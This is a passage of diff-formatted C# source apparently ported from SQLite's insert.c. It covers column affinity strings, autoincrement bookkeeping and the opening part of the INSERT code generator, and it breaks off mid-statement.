pTab.nCol ), P4_INT32 ); + VdbeComment( v, "%s", pTab.zName ); + } + + /* + ** Set P4 of the most recently inserted opcode to a column affinity + ** string for index pIdx. A column affinity string has one character + ** for each column in the table, according to the affinity of the column: + ** + ** Character Column affinity + ** ------------------------------ + ** 'a' TEXT + ** 'b' NONE + ** 'c' NUMERIC + ** 'd' INTEGER + ** 'e' REAL + ** + ** An extra 'b' is appended to the end of the string to cover the + ** rowid that appears as the last column in every index. + */ + static void sqlite3IndexAffinityStr( Vdbe v, Index pIdx ) + { + if ( pIdx.zColAff == null || pIdx.zColAff[0] == '\0' ) + { + /* The first time a column affinity string for a particular index is + ** required, it is allocated and populated here. It is then stored as + ** a member of the Index structure for subsequent use. + ** + ** The column affinity string will eventually be deleted by + ** sqliteDeleteIndex() when the Index structure itself is cleaned + ** up. + */ + int n; + Table pTab = pIdx.pTable; + sqlite3 db = sqlite3VdbeDb( v ); + StringBuilder pIdx_zColAff = new StringBuilder( pIdx.nColumn + 2 );// (char *)sqlite3Malloc(pIdx->nColumn+2); + if ( pIdx_zColAff == null ) + { + //// db.mallocFailed = 1; + return; + } + for ( n = 0 ; n < pIdx.nColumn ; n++ ) + { + pIdx_zColAff.Append( pTab.aCol[pIdx.aiColumn[n]].affinity ); + } + pIdx_zColAff.Append( SQLITE_AFF_NONE ); + pIdx_zColAff.Append( '\0' ); + pIdx.zColAff = pIdx_zColAff.ToString(); + } + sqlite3VdbeChangeP4( v, -1, pIdx.zColAff, 0 ); + } + + /* + ** Set P4 of the most recently inserted opcode to a column affinity + ** string for table pTab. A column affinity string has one character + ** for each column indexed by the index, according to the affinity of the + ** column: + ** + ** Character Column affinity + ** ------------------------------ + ** 'a' TEXT + ** 'b' NONE + ** 'c' NUMERIC + ** 'd' INTEGER + ** 'e' REAL + */ + static void sqlite3TableAffinityStr( Vdbe v, Table pTab ) + { + /* The first time a column affinity string for a particular table + ** is required, it is allocated and populated here. It is then + ** stored as a member of the Table structure for subsequent use. + ** + ** The column affinity string will eventually be deleted by + ** sqlite3DeleteTable() when the Table structure itself is cleaned up. + */ + if ( pTab.zColAff == null ) + { + StringBuilder zColAff; + int i; + sqlite3 db = sqlite3VdbeDb( v ); + + zColAff = new StringBuilder( pTab.nCol + 1 );// (char*)sqlite3Malloc(db, pTab.nCol + 1); + if ( zColAff == null ) + { + //// db.mallocFailed = 1; + return; + } + + for ( i = 0 ; i < pTab.nCol ; i++ ) + { + zColAff.Append( pTab.aCol[i].affinity ); + } + //zColAff.Append( '\0' ); + + pTab.zColAff = zColAff.ToString(); + } + + sqlite3VdbeChangeP4( v, -1, pTab.zColAff, 0 ); + } + + /* + ** Return non-zero if the table pTab in database iDb or any of its indices + ** have been opened at any point in the VDBE program beginning at location + ** iStartAddr throught the end of the program. This is used to see if + ** a statement of the form "INSERT INTO SELECT ..." can + ** run without using temporary table for the results of the SELECT. + */ + static bool readsTable(Parse p, int iStartAddr, int iDb, Table pTab ) + { + Vdbe v = sqlite3GetVdbe( p ); + int i; + int iEnd = sqlite3VdbeCurrentAddr( v ); +#if !SQLITE_OMIT_VIRTUALTABLE + VTable pVTab = IsVirtual(pTab) ? sqlite3GetVTable(p,db, pTab) : null; +#endif + + for ( i = iStartAddr ; i < iEnd ; i++ ) + { + VdbeOp pOp = sqlite3VdbeGetOp( v, i ); + Debug.Assert( pOp != null ); + if ( pOp.opcode == OP_OpenRead && pOp.p3 == iDb ) + { + Index pIndex; + int tnum = pOp.p2; + if ( tnum == pTab.tnum ) + { + return true; + } + for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext ) + { + if ( tnum == pIndex.tnum ) + { + return true; + } + } + } +#if !SQLITE_OMIT_VIRTUALTABLE +if( pOp.opcode==OP_VOpen && pOp.p4.pVtab==pVTab){ +Debug.Assert( pOp.p4.pVtab!=0 ); +Debug.Assert( pOp.p4type==P4_VTAB ); +return true; +} +#endif + } + return false; + } + +#if !SQLITE_OMIT_AUTOINCREMENT + /* +** Locate or create an AutoincInfo structure associated with table pTab +** which is in database iDb. Return the register number for the register +** that holds the maximum rowid. +** +** There is at most one AutoincInfo structure per table even if the +** same table is autoincremented multiple times due to inserts within +** triggers. A new AutoincInfo structure is created if this is the +** first use of table pTab. On 2nd and subsequent uses, the original +** AutoincInfo structure is used. +** +** Three memory locations are allocated: +** +** (1) Register to hold the name of the pTab table. +** (2) Register to hold the maximum ROWID of pTab. +** (3) Register to hold the rowid in sqlite_sequence of pTab +** +** The 2nd register is the one that is returned. That is all the +** insert routine needs to know about. +*/ + static int autoIncBegin( + Parse pParse, /* Parsing context */ + int iDb, /* Index of the database holding pTab */ + Table pTab /* The table we are writing to */ + ) + { + int memId = 0; /* Register holding maximum rowid */ + if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) + { + AutoincInfo pInfo; + + pInfo = pParse.pAinc; + while ( pInfo != null && pInfo.pTab != pTab ) { pInfo = pInfo.pNext; } + if ( pInfo == null ) + { + pInfo = new AutoincInfo();//sqlite3DbMallocRaw(pParse.db, sizeof(*pInfo)); + if ( pInfo == null ) return 0; + pInfo.pNext = pParse.pAinc; + pParse.pAinc = pInfo; + pInfo.pTab = pTab; + pInfo.iDb = iDb; + pParse.nMem++; /* Register to hold name of table */ + pInfo.regCtr = ++pParse.nMem; /* Max rowid register */ + pParse.nMem++; /* Rowid in sqlite_sequence */ + } + memId = pInfo.regCtr; + } + return memId; + } + + /* + ** This routine generates code that will initialize all of the + ** register used by the autoincrement tracker. + */ + static void sqlite3AutoincrementBegin( Parse pParse ) + { + AutoincInfo p; /* Information about an AUTOINCREMENT */ + sqlite3 db = pParse.db; /* The database connection */ + Db pDb; /* Database only autoinc table */ + int memId; /* Register holding max rowid */ + int addr; /* A VDBE address */ + Vdbe v = pParse.pVdbe; /* VDBE under construction */ + + Debug.Assert( v != null ); /* We failed long ago if this is not so */ + for ( p = pParse.pAinc ; p != null ; p = p.pNext ) + { + pDb = db.aDb[p.iDb]; + memId = p.regCtr; + sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenRead ); + addr = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp4( v, OP_String8, 0, memId - 1, 0, p.pTab.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Rewind, 0, addr + 9 ); + sqlite3VdbeAddOp3( v, OP_Column, 0, 0, memId ); + sqlite3VdbeAddOp3( v, OP_Ne, memId - 1, addr + 7, memId ); + sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); + sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); + sqlite3VdbeAddOp3( v, OP_Column, 0, 1, memId ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addr + 9 ); + sqlite3VdbeAddOp2( v, OP_Next, 0, addr + 2 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, memId ); + sqlite3VdbeAddOp0( v, OP_Close ); + } + } + + /* + ** Update the maximum rowid for an autoincrement calculation. + ** + ** This routine should be called when the top of the stack holds a + ** new rowid that is about to be inserted. If that new rowid is + ** larger than the maximum rowid in the memId memory cell, then the + ** memory cell is updated. The stack is unchanged. + */ + static void autoIncStep( Parse pParse, int memId, int regRowid ) + { + if ( memId > 0 ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_MemMax, memId, regRowid ); + } + } + + /* + ** This routine generates the code needed to write autoincrement + ** maximum rowid values back into the sqlite_sequence register. + ** Every statement that might do an INSERT into an autoincrement + ** table (either directly or through triggers) needs to call this + ** routine just before the "exit" code. + */ + static void sqlite3AutoincrementEnd( Parse pParse ) + { + AutoincInfo p; + Vdbe v = pParse.pVdbe; + sqlite3 db = pParse.db; + + Debug.Assert( v != null ); + for ( p = pParse.pAinc ; p != null ; p = p.pNext ) + { + Db pDb = db.aDb[p.iDb]; + int j1, j2, j3, j4, j5; + int iRec; + int memId = p.regCtr; + + iRec = sqlite3GetTempReg( pParse ); + sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenWrite ); + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, memId + 1 ); + j2 = sqlite3VdbeAddOp0( v, OP_Rewind ); + j3 = sqlite3VdbeAddOp3( v, OP_Column, 0, 0, iRec ); + j4 = sqlite3VdbeAddOp3( v, OP_Eq, memId - 1, 0, iRec ); + sqlite3VdbeAddOp2( v, OP_Next, 0, j3 ); + sqlite3VdbeJumpHere( v, j2 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, 0, memId + 1 ); + j5 = sqlite3VdbeAddOp0( v, OP_Goto ); + sqlite3VdbeJumpHere( v, j4 ); + sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeJumpHere( v, j5 ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, memId - 1, 2, iRec ); + sqlite3VdbeAddOp3( v, OP_Insert, 0, iRec, memId + 1 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3VdbeAddOp0( v, OP_Close ); + sqlite3ReleaseTempReg( pParse, iRec ); + } + } +#else +/* +** If SQLITE_OMIT_AUTOINCREMENT is defined, then the three routines +** above are all no-ops +*/ +//# define autoIncBegin(A,B,C) (0) +//# define autoIncStep(A,B,C) +#endif // * SQLITE_OMIT_AUTOINCREMENT */ + + + /* Forward declaration */ + //static int xferOptimization( + // Parse pParse, /* Parser context */ + // Table pDest, /* The table we are inserting into */ + // Select pSelect, /* A SELECT statement to use as the data source */ + // int onError, /* How to handle constraint errors */ + // int iDbDest /* The database of pDest */ + //); + + /* + ** This routine is call to handle SQL of the following forms: + ** + ** insert into TABLE (IDLIST) values(EXPRLIST) + ** insert into TABLE (IDLIST) select + ** + ** The IDLIST following the table name is always optional. If omitted, + ** then a list of all columns for the table is substituted. The IDLIST + ** appears in the pColumn parameter. pColumn is NULL if IDLIST is omitted. + ** + ** The pList parameter holds EXPRLIST in the first form of the INSERT + ** statement above, and pSelect is NULL. For the second form, pList is + ** NULL and pSelect is a pointer to the select statement used to generate + ** data for the insert. + ** + ** The code generated follows one of four templates. For a simple + ** select with data coming from a VALUES clause, the code executes + ** once straight down through. Pseudo-code follows (we call this + ** the "1st template"): + ** + ** open write cursor to
and its indices + ** puts VALUES clause expressions onto the stack + ** write the resulting record into
+ ** cleanup + ** + ** The three remaining templates assume the statement is of the form + ** + ** INSERT INTO
SELECT ... + ** + ** If the SELECT clause is of the restricted form "SELECT * FROM " - + ** in other words if the SELECT pulls all columns from a single table + ** and there is no WHERE or LIMIT or GROUP BY or ORDER BY clauses, and + ** if and are distinct tables but have identical + ** schemas, including all the same indices, then a special optimization + ** is invoked that copies raw records from over to . + ** See the xferOptimization() function for the implementation of this + ** template. This is the 2nd template. + ** + ** open a write cursor to
+ ** open read cursor on + ** transfer all records in over to
+ ** close cursors + ** foreach index on
+ ** open a write cursor on the
index + ** open a read cursor on the corresponding index + ** transfer all records from the read to the write cursors + ** close cursors + ** end foreach + ** + ** The 3rd template is for when the second template does not apply + ** and the SELECT clause does not read from
at any time. + ** The generated code follows this template: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the rows in the SELECT + ** load values into registers R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** goto A + ** B: open write cursor to
and its indices + ** C: yield X + ** if EOF goto D + ** insert the select result into
from R..R+n + ** goto C + ** D: cleanup + ** + ** The 4th template is used if the insert statement takes its + ** values from a SELECT but the data is being inserted into a table + ** that is also read as part of the SELECT. In the third form, + ** we have to use a intermediate table to store the results of + ** the select. The template is like this: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the tables in the SELECT + ** load value into register R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** halt-error + ** B: open temp table + ** L: yield X + ** if EOF goto M + ** insert row from R..R+n into temp table + ** goto L + ** M: open write cursor to
and its indices + ** rewind temp table + ** C: loop over rows of intermediate table + ** transfer values form intermediate table into
+ ** end loop + ** D: cleanup + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, int null_4, IdList pColumn, int onError ) + { sqlite3Insert( pParse, pTabList, null, null, pColumn, onError ); } + static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, Select pSelect, IdList pColumn, int onError ) + { sqlite3Insert( pParse, pTabList, null, pSelect, pColumn, onError ); } + static void sqlite3Insert( Parse pParse, SrcList pTabList, ExprList pList, int null_4, IdList pColumn, int onError ) + { sqlite3Insert( pParse, pTabList, pList, null, pColumn, onError ); } + static void sqlite3Insert( + Parse pParse, /* Parser context */ + SrcList pTabList, /* Name of table into which we are inserting */ + ExprList pList, /* List of values to be inserted */ + Select pSelect, /* A SELECT statement to use as the data source */ + IdList pColumn, /* Column names corresponding to IDLIST. */ + int onError /* How to handle constraint errors */ + ) + { + sqlite3 db; /* The main database structure */ + Table pTab; /* The table to insert into. aka TABLE */ + string zTab; /* Name of the table into which we are inserting */ + string zDb; /* Name of the database holding this table */ + int i = 0; + int j = 0; + int idx = 0; /* Loop counters */ + Vdbe v; /* Generate code into this virtual machine */ + Index pIdx; /* For looping over indices of the table */ + int nColumn; /* Number of columns in the data */ + int nHidden = 0; /* Number of hidden columns if TABLE is virtual */ + int baseCur = 0; /* VDBE VdbeCursor number for pTab */ + int keyColumn = -1; /* Column that is the INTEGER PRIMARY KEY */ + int endOfLoop = 0; /* Label for the end of the insertion loop */ + bool useTempTable = false; /* Store SELECT results in intermediate table */ + int srcTab = 0; /* Data comes from this temporary cursor if >=0 */ + int addrInsTop = 0; /* Jump to label "D" */ + int addrCont = 0; /* Top of insert loop. Label "C" in templates 3 and 4 */ + int addrSelect = 0; /* Address of coroutine that implements the SELECT */ + SelectDest dest; /* Destination for SELECT on rhs of INSERT */ + int newIdx = -1; /* VdbeCursor for the NEW pseudo-table */ + int iDb; /* Index of database holding TABLE */ + Db pDb; /* The database containing table being inserted into */ + bool appendFlag = false; /* True if the insert is likely to be an append */ + + /* Register allocations */ + int regFromSelect = 0; /* Base register for data coming from SELECT */ + int regAutoinc = 0; /* Register holding the AUTOINCREMENT counter */ + int regRowCount = 0; /* Memory cell used for the row counter */ + int regIns; /* Block of regs holding rowid+data being inserted */ + int regRowid; /* registers holding insert rowid */ + int regData; /* register holding first column to insert */ + int regRecord; /* Holds the assemblied row record */ + int regEof = 0; /* Register recording end of SELECT data */ + int[] aRegIdx = null; /* One register allocated to each index */ + + +#if !SQLITE_OMIT_TRIGGER + bool isView = false; /* True if attempting to insert into a view */ + Trigger pTrigger; /* List of triggers on pTab, if required */ + int tmask = 0; /* Mask of trigger times */ +#endif + + db = pParse.db; + dest = new SelectDest();// memset( &dest, 0, sizeof( dest ) ); + + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto insert_cleanup; + } + + /* Locate the table into which we will be inserting new information. + */ + Debug.Assert( pTabList.nSrc == 1 ); + zTab = pTabList.a[0].zName; + if ( NEVER( zTab == null ) ) goto insert_cleanup; + pTab = sqlite3SrcListLookup( pParse, pTabList ); + if ( pTab == null ) + { + goto insert_cleanup; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb < db.nDb ); + pDb = db.aDb[iDb]; + zDb = pDb.zName; +#if !SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, pTab.zName, 0, zDb) ){ +goto insert_cleanup; +} +#endif + /* Figure out if we have any triggers and if the table being +** inserted into is a view +*/ +#if !SQLITE_OMIT_TRIGGER + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_INSERT, null, ref tmask ); + isView = pTab.pSelect != null; +#else +//# define pTrigger 0 +//# define tmask 0 +bool isView = false; +#endif +#if SQLITE_OMIT_VIEW +//# undef isView +isView = false; +#endif + Debug.Assert( ( pTrigger != null && tmask != 0 ) || ( pTrigger == null && tmask == 0 ) ); + +#if !SQLITE_OMIT_VIEW + /* If pTab is really a view, make sure it has been initialized. + ** ViewGetColumnNames() is a no-op if pTab is not a view (or virtual + ** module table). + */ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != -0 ) + { + goto insert_cleanup; + } +#endif + + /* Ensure that: + * (a) the table is not read-only, + * (b) that if it is a view then ON INSERT triggers exist + */ + if ( sqlite3IsReadOnly( pParse, pTab, tmask ) ) + { + goto insert_cleanup; + } + + /* Allocate a VDBE + */ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) goto insert_cleanup; + if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v ); + sqlite3BeginWriteOperation( pParse, ( pSelect != null || pTrigger != null ) ? 1 : 0, iDb ); + + /* if there are row triggers, allocate a temp table for new.* references. */ + if ( pTrigger != null ) + { + newIdx = pParse.nTab++; + } + +#if !SQLITE_OMIT_XFER_OPT + /* If the statement is of the form +** +** INSERT INTO SELECT * FROM ; +** +** Then special optimizations can be applied that make the transfer +** very fast and which reduce fragmentation of indices. +** +** This is the 2nd template. +*/ + if ( pColumn == null && xferOptimization( pParse, pTab, pSelect, onError, iDb ) != 0 ) + { + Debug.Assert( null == pTrigger ); + Debug.Assert( pList == null ); + goto insert_end; + } +#endif // * SQLITE_OMIT_XFER_OPT */ + + /* If this is an AUTOINCREMENT table, look up the sequence number in the +** sqlite_sequence table and store it in memory cell regAutoinc. +*/ + regAutoinc = autoIncBegin( pParse, iDb, pTab ); + + /* Figure out how many columns of data are supplied. If the data + ** is coming from a SELECT statement, then generate a co-routine that + ** produces a single row of the SELECT on each invocation. The + ** co-routine is the common header to the 3rd and 4th templates. + */ + if ( pSelect != null ) + { + /* Data is coming from a SELECT. Generate code to implement that SELECT + ** as a co-routine. The code is common to both the 3rd and 4th + ** templates: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the tables in the SELECT + ** load value into register R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** halt-error + ** + ** On each invocation of the co-routine, it puts a single row of the + ** SELECT result into registers dest.iMem...dest.iMem+dest.nMem-1. + ** (These output registers are allocated by sqlite3Select().) When + ** the SELECT completes, it sets the EOF flag stored in regEof. + */ + int rc = 0, j1; + + regEof = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEof ); /* EOF <- 0 */ +#if SQLITE_DEBUG + VdbeComment( v, "SELECT eof flag" ); +#endif + sqlite3SelectDestInit( dest, SRT_Coroutine, ++pParse.nMem ); + addrSelect = sqlite3VdbeCurrentAddr( v ) + 2; + sqlite3VdbeAddOp2( v, OP_Integer, addrSelect - 1, dest.iParm ); + j1 = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); +#if SQLITE_DEBUG + VdbeComment( v, "Jump over SELECT coroutine" ); +#endif + /* Resolve the expressions in the SELECT statement and execute it. */ + rc = sqlite3Select( pParse, pSelect, ref dest ); + Debug.Assert( pParse.nErr == 0 || rc != 0 ); + if ( rc != 0 || NEVER( pParse.nErr != 0 ) /*|| db.mallocFailed != 0 */ ) + { + goto insert_cleanup; + } + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEof ); /* EOF <- 1 */ + sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); /* yield X */ + sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_INTERNAL, OE_Abort ); +#if SQLITE_DEBUG + VdbeComment( v, "End of SELECT coroutine" ); +#endif + sqlite3VdbeJumpHere( v, j1 ); /* label B: */ + + regFromSelect = dest.iMem; + Debug.Assert( pSelect.pEList != null ); + nColumn = pSelect.pEList.nExpr; + Debug.Assert( dest.nMem == nColumn ); + + /* Set useTempTable to TRUE if the result of the SELECT statement + ** should be written into a temporary table (template 4). Set to + ** FALSE if each* row of the SELECT can be written directly into + ** the destination table (template 3). + ** + ** A temp table must be used if the table being updated is also one + ** of the tables being read by the SELECT statement. Also use a + ** temp table in the case of row triggers. + */ + if ( pTrigger != null || readsTable( pParse, addrSelect, iDb, pTab ) ) + { + useTempTable = true; + } + + if ( useTempTable ) + { + /* Invoke the coroutine to extract information from the SELECT + ** and add it to a transient table srcTab. The code generated + ** here is from the 4th template: + ** + ** B: open temp table + ** L: yield X + ** if EOF goto M + ** insert row from R..R+n into temp table + ** goto L + ** M: ... + */ + int regRec; /* Register to hold packed record */ + int regTempRowid; /* Register to hold temp table ROWID */ + int addrTop; /* Label "L" */ + int addrIf; /* Address of jump to M */ + + srcTab = pParse.nTab++; + regRec = sqlite3GetTempReg( pParse ); + regTempRowid = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, srcTab, nColumn ); + addrTop = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); + addrIf = sqlite3VdbeAddOp1( v, OP_If, regEof ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regFromSelect, nColumn, regRec ); + sqlite3VdbeAddOp2( v, OP_NewRowid, srcTab, regTempRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, srcTab, regRec, regTempRowid ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrTop ); + sqlite3VdbeJumpHere( v, addrIf ); + sqlite3ReleaseTempReg( pParse, regRec ); + sqlite3ReleaseTempReg( pParse, regTempRowid ); + } + } + else + { + /* This is the case if the data for the INSERT is coming from a VALUES + ** clause + */ + NameContext sNC; + sNC = new NameContext();// memset( &sNC, 0, sNC ).Length; + sNC.pParse = pParse; + srcTab = -1; + Debug.Assert( !useTempTable ); + nColumn = pList != null ? pList.nExpr : 0; + for ( i = 0 ; i < nColumn ; i++ ) + { + if ( sqlite3ResolveExprNames( sNC, ref pList.a[i].pExpr ) != 0 ) + { + goto insert_cleanup; + } + } + } + + /* Make sure the number of columns in the source data matches the number + ** of columns to be inserted into the table. + */ + if ( IsVirtual( pTab ) ) + { + for ( i = 0 ; i < pTab.nCol ; i++ ) + { + nHidden += ( IsHiddenColumn( pTab.aCol[i] ) ? 1 : 0 ); + } + } + if ( pColumn == null && nColumn != 0 && nColumn != ( pTab.nCol - nHidden ) ) + { + sqlite3ErrorMsg( pParse, + "table %S has %d columns but %d values were supplied", + pTabList, 0, pTab.nCol - nHidden, nColumn ); + goto insert_cleanup; + } + if ( pColumn != null && nColumn != pColumn.nId ) + { + sqlite3ErrorMsg( pParse, "%d values for %d columns", nColumn, pColumn.nId ); + goto insert_cleanup; + } + + /* If the INSERT statement included an IDLIST term, then make sure + ** all elements of the IDLIST really are columns of the table and + ** remember the column indices. + ** + ** If the table has an INTEGER PRIMARY KEY column and that column + ** is named in the IDLIST, then record in the keyColumn variable + ** the index into IDLIST of the primary key column. keyColumn is + ** the index of the primary key as it appears in IDLIST, not as + ** is appears in the original table. (The index of the primary + ** key in the original table is pTab.iPKey.) + */ + if ( pColumn != null ) + { + for ( i = 0 ; i < pColumn.nId ; i++ ) + { + pColumn.a[i].idx = -1; + } + for ( i = 0 ; i < pColumn.nId ; i++ ) + { + for ( j = 0 ; j < pTab.nCol ; j++ ) + { + if ( sqlite3StrICmp( pColumn.a[i].zName, pTab.aCol[j].zName ) == 0 ) + { + pColumn.a[i].idx = j; + if ( j == pTab.iPKey ) + { + keyColumn = i; + } + break; + } + } + if ( j >= pTab.nCol ) + { + if ( sqlite3IsRowid( pColumn.a[i].zName ) ) + { + keyColumn = i; + } + else + { + sqlite3ErrorMsg( pParse, "table %S has no column named %s", + pTabList, 0, pColumn.a[i].zName ); + pParse.nErr++; + goto insert_cleanup; + } + } + } + } + + /* If there is no IDLIST term but the table has an integer primary + ** key, the set the keyColumn variable to the primary key column index + ** in the original table definition. + */ + if ( pColumn == null && nColumn > 0 ) + { + keyColumn = pTab.iPKey; + } + + /* Open the temp table for FOR EACH ROW triggers + */ + if ( pTrigger != null ) + { + sqlite3VdbeAddOp3( v, OP_OpenPseudo, newIdx, 0, pTab.nCol ); + } + + /* Initialize the count of rows to be inserted + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + regRowCount = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, regRowCount ); + } + + /* If this is not a view, open the table and and all indices */ + if ( !isView ) + { + int nIdx; + + baseCur = pParse.nTab; + nIdx = sqlite3OpenTableAndIndices( pParse, pTab, baseCur, OP_OpenWrite ); + aRegIdx = new int[nIdx + 1];// sqlite3DbMallocRaw( db, sizeof( int ) * ( nIdx + 1 ) ); + if ( aRegIdx == null ) + { + goto insert_cleanup; + } + for ( i = 0 ; i < nIdx ; i++ ) + { + aRegIdx[i] = ++pParse.nMem; + } + } + + /* This is the top of the main insertion loop */ + if ( useTempTable ) + { + /* This block codes the top of loop only. The complete loop is the + ** following pseudocode (template 4): + ** + ** rewind temp table + ** C: loop over rows of intermediate table + ** transfer values form intermediate table into
+ ** end loop + ** D: ... + */ + addrInsTop = sqlite3VdbeAddOp1( v, OP_Rewind, srcTab ); + addrCont = sqlite3VdbeCurrentAddr( v ); + } + else if ( pSelect != null ) + { + /* This block codes the top of loop only. The complete loop is the + ** following pseudocode (template 3): + ** + ** C: yield X + ** if EOF goto D + ** insert the select result into
from R..R+n + ** goto C + ** D: ... + */ + addrCont = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); + addrInsTop = sqlite3VdbeAddOp1( v, OP_If, regEof ); + } + + /* Allocate registers for holding the rowid of the new row, + ** the content of the new row, and the assemblied row record. + */ + regRecord = ++pParse.nMem; + regRowid = regIns = pParse.nMem + 1; + pParse.nMem += pTab.nCol + 1; + if ( IsVirtual( pTab ) ) + { + regRowid++; + pParse.nMem++; + } + regData = regRowid + 1; + + /* Run the BEFORE and INSTEAD OF triggers, if there are any + */ + endOfLoop = sqlite3VdbeMakeLabel( v ); +#if !SQLITE_OMIT_TRIGGER + if ( ( tmask & TRIGGER_BEFORE ) != 0 ) + { + int regTrigRowid; + int regCols; + int regRec; + + /* build the NEW.* reference row. Note that if there is an INTEGER + ** PRIMARY KEY into which a NULL is being inserted, that NULL will be + ** translated into a unique ID for the row. But on a BEFORE trigger, + ** we do not know what the unique ID will be (because the insert has + ** not happened yet) so we substitute a rowid of -1 + */ + regTrigRowid = sqlite3GetTempReg( pParse ); + if ( keyColumn < 0 ) + { + sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid ); + } + else + { + int j1; + if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regTrigRowid ); + } + else + { + Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ + sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regTrigRowid ); + } + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regTrigRowid ); + sqlite3VdbeAddOp2( v, OP_Integer, -1, regTrigRowid ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, regTrigRowid ); + } + /* Cannot have triggers on a virtual table. If it were possible, + ** this block would have to account for hidden column. + */ + Debug.Assert( !IsVirtual( pTab ) ); + /* Create the new column data + */ + regCols = sqlite3GetTempRange( pParse, pTab.nCol ); + for ( i = 0 ; i < pTab.nCol ; i++ ) + { + if ( pColumn == null ) + { + j = i; + } + else + { + for ( j = 0 ; j < pColumn.nId ; j++ ) + { + if ( pColumn.a[j].idx == i ) break; + } + } + if ( pColumn != null && j >= pColumn.nId ) + { + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regCols + i ); + } + else if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, regCols + i ); + } + else + { + Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ + sqlite3ExprCodeAndCache( pParse, pList.a[j].pExpr, regCols + i ); + } + } + regRec = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regCols, pTab.nCol, regRec ); + + /* If this is an INSERT on a view with an INSTEAD OF INSERT trigger, + ** do not attempt any conversions before assembling the record. + ** If this is a real table, attempt conversions as required by the + ** table column affinities. + */ + if ( !isView ) + { + sqlite3TableAffinityStr( v, pTab ); + } + sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRec, regTrigRowid ); + sqlite3ReleaseTempReg( pParse, regRec ); + sqlite3ReleaseTempReg( pParse, regTrigRowid ); + sqlite3ReleaseTempRange( pParse, regCols, pTab.nCol ); + + /* Fire BEFORE or INSTEAD OF triggers */ + u32 Ref0_1 = 0; + u32 Ref0_2 = 0; + if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_BEFORE, + pTab, newIdx, -1, onError, endOfLoop, ref Ref0_1, ref Ref0_2 ) != 0 ) + { + goto insert_cleanup; + } + } +#endif + + /* Push the record number for the new entry onto the stack. The +** record number is a randomly generate integer created by NewRowid +** except when the table has an INTEGER PRIMARY KEY column, in which +** case the record number is the same as that column. +*/ + if ( !isView ) + { + if ( IsVirtual( pTab ) ) + { + /* The row that the VUpdate opcode will delete: none */ + sqlite3VdbeAddOp2( v, OP_Null, 0, regIns ); + } + if ( keyColumn >= 0 ) + { + if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regRowid ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + keyColumn, regRowid ); + } + else + { + VdbeOp pOp; + sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regRowid ); + pOp = sqlite3VdbeGetOp( v, -1 ); + if ( ALWAYS( pOp != null ) && pOp.opcode == OP_Null && !IsVirtual( pTab ) ) + { + appendFlag = true; + pOp.opcode = 